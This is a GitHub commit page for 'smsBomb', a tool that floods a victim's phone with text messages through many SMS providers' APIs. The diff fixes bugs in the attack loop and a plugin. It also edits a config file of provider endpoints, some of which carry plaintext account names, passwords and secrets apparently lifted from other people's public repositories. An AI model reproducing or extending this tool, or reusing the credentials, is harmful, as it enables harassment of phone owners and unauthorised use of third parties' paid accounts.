Skip to content

Commit

Permalink
修复KeyError等BUG
Browse files Browse the repository at this point in the history
  • Loading branch information
shellvon committed May 31, 2018
1 parent 33270d8 commit c321df0
Show file tree
Hide file tree
Showing 5 changed files with 16 additions and 44 deletions.
5 changes: 5 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -167,6 +167,11 @@ See https://von.sh/smsBomb

# ChangeLog

#### 2018-05-31

+ 删除一些没有用的配置(比如人家已经修改了密码)
+ 修复None不能得unpack以及无法获取到自定义模版消息的BUG

#### 2018-05-12

+ 调整修改日志级别
Expand Down
41 changes: 2 additions & 39 deletions config/sms.json
Original file line number Diff line number Diff line change
Expand Up @@ -147,7 +147,7 @@
},
"payloads": {
"msisdn": "{{mobile}}",
"smscontent": "{{msg}}",
"smscontent": "{{content}}",
"msgtype": 5,
"longcode": ""
}
Expand Down Expand Up @@ -177,19 +177,6 @@
"app_secret": "02184da78572"
}
},
{
"product": "submail",
"desc": "赛邮云通讯",
"api": "https://api.mysubmail.com/message/send",
"source": "https://github.com/zyimm/fighting/blob/490bc1bfde1176b79300a6c9388e153d6247bc1a/Application/Common/Conf/config.php",
"method": "POST",
"payloads": {
"appid": "10619",
"sign": "【验证码短信】",
"content": "您的验证码为123456",
"signature": "xxx"
}
},
{
"product": "cl253",
"desc": "创蓝253",
Expand All @@ -202,30 +189,6 @@
},
"enable_custom_msg": true
},
{
"product": "cl253",
"desc": "创蓝253",
"api": "http://smssh1.253.com/msg/send/json",
"source": "https://github./warthur1214/supervice_ca_php/blob/b9a815efab658652ef1cc0d221980cf402bf5d75/Application/Home/Conf/config.php#L19-L21",
"method": "POST",
"auth": {
"account": "N1884706",
"password": "FhZqIplaXSf637"
},
"enable_custom_msg": true
},
{
"product": "cl253",
"desc": "创蓝253",
"api": "http://smssh1.253.com/msg/send/json",
"source": "https://github.com/136908359/web180324/blob/9b8153591726b3e614724ac963590cc976b43093/application/third_party/ChuanglanSmsHelper/Chuanglan_config.php#L22-L25",
"method": "POST",
"auth": {
"account": "N5363870",
"password": "Jfl3z7r2Hi6a88"
},
"enable_custom_msg": true
},
{
"product": "cl253",
"desc": "创蓝253",
Expand Down Expand Up @@ -285,7 +248,7 @@
},
"payloads": {
"mobile": "{{mobile}}",
"content": "{{msg}}"
"content": "{{content}}"
}
},
{
Expand Down
Binary file added screenshot/bomb-cli.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
9 changes: 6 additions & 3 deletions smsBomb/plugins/yunpian.py
Original file line number Diff line number Diff line change
Expand Up @@ -19,16 +19,19 @@ class YunpianPlugin(SmsPlugin):
def get_one_tpl(self):
resp = self._req.post(self.API_URLS['tpl_get'], {
'apikey': self.auth['api_key']}).json()
tpl = random.choice(resp)
return tpl
if resp:
return random.choice(resp)

def send(self, mobile, **kwargs):
tpl = self.get_one_tpl()
if not tpl:
self.logger.error('无法获取到模版信息(云片网)')
return False
self.logger.debug('随机获取模版消息: %s', tpl)
payloads = {
'mobile': mobile,
'apikey': self.auth['api_key'],
'text': self.get_one_tpl()['tpl_content']
'text': tpl.get('tpl_content')
}
resp = self._req.post(self.api, data=payloads).json()
self.logger.info(resp)
Expand Down
5 changes: 3 additions & 2 deletions smsBomb/smsBomb.py
Original file line number Diff line number Diff line change
Expand Up @@ -187,13 +187,14 @@ def start(self, config_lst=None, cb=None):
self.logger.info('Start attacking phone: %s', self.target)
while success_cnt < self.limit and failed_rate <= self.max_allowed_failed_rate:
failed_rate = failed_cnt / self.limit
index, current_config = self._random_weight_select()
if not current_config:
cfg = self._random_weight_select()
if not cfg:
# 如果已经找不到配置了, 尝试把之前错误的配置重新分配,并标记失败次数
self.logger.warning('没有可用配置可供使用!尝试重置配置列表:%s', self.failed_config_lst)
self.re_config(self.failed_config_lst)
failed_cnt += 1
continue
index, current_config = cfg
key = self.prefix + current_config['product']
cls = current_config.get('product').title() + 'Plugin'
obj = self.plugins.get(key)
Expand Down

0 comments on commit c321df0

Please sign in to comment.